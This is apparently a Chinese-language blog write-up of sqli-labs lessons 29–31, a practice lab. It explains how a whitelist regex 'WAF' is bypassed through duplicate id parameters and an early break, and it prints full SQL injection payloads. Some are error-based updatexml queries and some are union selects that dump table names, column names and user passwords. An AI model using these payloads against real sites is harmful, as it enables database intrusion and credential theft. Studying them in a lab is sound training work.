sqli-labs(29-31) 绕过整数正则匹配-break坏了一锅粥

29 单引号

初次尝试-无waf(简单)

页面说被最好的防火墙保护,真的吗?我不信

image-20210729073342607

?id=2"正确显示

image-20210729074213499

?id=2'报错,单引号

image-20210729074224886

?id=2' and '1'='1显示2的查询结果,表明无()

image-20210729074318547

报错注入:爆数据库名?id=2'and updatexml(1,concat(0x7e,database(),0x7e),1)--+

竟然什么都没过滤,惊了

image-20210729074452239

获取表名2'and updatexml(1,concat(0x7e,(select(group_concat(table_name)) from information_schema.tables where table_schema='security'),0x7e),1)--+

image-20210729074919676

获取字段名?id=2'and updatexml(1,concat(0x7e,(select(group_concat(column_name)) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

image-20210729075053801

获取密码?id=2'and updatexml(1,concat(0x7e,(select(group_concat(password)) from security.users),0x7e),1)--+

image-20210729075142626

一路下来很成功,没遇到任何阻拦,waf体现在哪里了呢?

初次尝试-有WAf

源码有一个index.phplogin.php,inde.php没用防火墙,login.php采用了防火墙

logon.php页面看看,这题应该就是这个页面,可能源码写错了,没有跳转

image-20210729080005727

?id=1',被检测到了;?id=2' and '1'='1同样被检测到

image-20210729080223495

源码分析

正则匹配:采用的白名单,查询结果只能是任意个数字,只要含有数字以外的字符,就报警

image-20210729091254348

再看看java_implimentation()函数

image-20210729085816957

explode() 函数使用一个字符串分割另一个字符串,并返回由字符串组成的数组。源码中根据&分成若干个数组

substr(str,start,length)是截取字符串的某一部分,0为起始

PHP explode() 函数

PHP substr() 函数

最后看看主函数

image-20210729091348748

将输入查询的字符串用java_implimentation()函数处理:先根据&来划分为若干数组,如果数组的前两个字符等于id,就把值(从3开始)返回给id1,然后break结束循环

再将id1进行正则匹配,若id1的内容全为数字,则进行查询,否则跳转到报警页面,停止查询

他的正则匹配天衣无缝,但是break坏了一锅粥,如果我在&后面又进行id赋值,进行查询比如?id=11&id=123'#,他只因为数组[0]里的id=11是合法的就跳出循环,没有检测后面内容导致可以绕过

借助break绕过正则匹配

根据前面的分析,构造?id=23&id=1' order by 3--+获取字段数,成功绕过,接下来就像喝凉水一样流畅

image-20210729092855010

获取可用字段为第2个和第3个?id=23&id=0' union select 1,2,3--+

image-20210729092733537

获取数据库名?id=1&id=0' union select 1,database(),3--+

image-20210729092952776

获取表名?id=1&id=0' union select 1,(select (group_concat(table_name))from information_schema.tables where table_schema='security' ),3--+

image-20210729093136761

获取字段名?id=1&id=0' union select 1,(select (group_concat(column_name))from information_schema.columns where table_schema='security' and table_name='users' ),3--+

image-20210729093225941

获取密码?id=1&id=0' union select 1,(select (group_concat(password))from security.users ),3--+

image-20210729093314160

30 双引号

初次尝试

根据29的经验,加上几次尝试发现?id=112&&id=1'--+能绕过检测

image-20210729103612528

?id=0&id=1' order by 1000 --+不执行order by

image-20210729104408314

?id=0&id=0' union select 1,2,3 --+不执行后面的联合查询

image-20210729104132001

在不知道源码的情况下简直束手无策

分析源码

白名单匹配整数,不符合就跳转到报警页面

image-20210729104635591

同29题的函数一样,代码也一模一样

image-20210729104724140

主函数:其他地方没变,单引号变成双引号了.....

image-20210729105057794

单引号改成双引号

把构造的语句变成双引号

?id=0&id=1" order by 1000 --+,真的执行了,我就是个憨憨,咋没想起来测试双引号呢

image-20210729105226259

查询可用字段?id=0&id=0" union select 1,2,3 --+

image-20210729105337758

后面不继续了,难点就在双引号上(吐血)

31 双引号-括号

初次尝试

?id=1& id=1--+正确显示

id=1& id=1'--+正确显示

image-20210729110436532

?id=1& id=1"--+报错,看来是双引号,接下来要看看有没有()

image-20210729110455138

?id=1& id=1" )order by 5--+报错,有报错语句看到有()

image-20210729110632171

?id=1& id=1" )order by 5--+查询成功

image-20210729110647368

显示可用字段id=1& id=0" )union select 1,2,3--+

image-20210729110731848

接下来操作大同小异,略过

分析源码

由源码看到,id两边用了双引号和(),其他没有变化

image-20210729110902787

posted @ 2021-07-29 09:41  1ink  阅读(120)  评论(0编辑  收藏  举报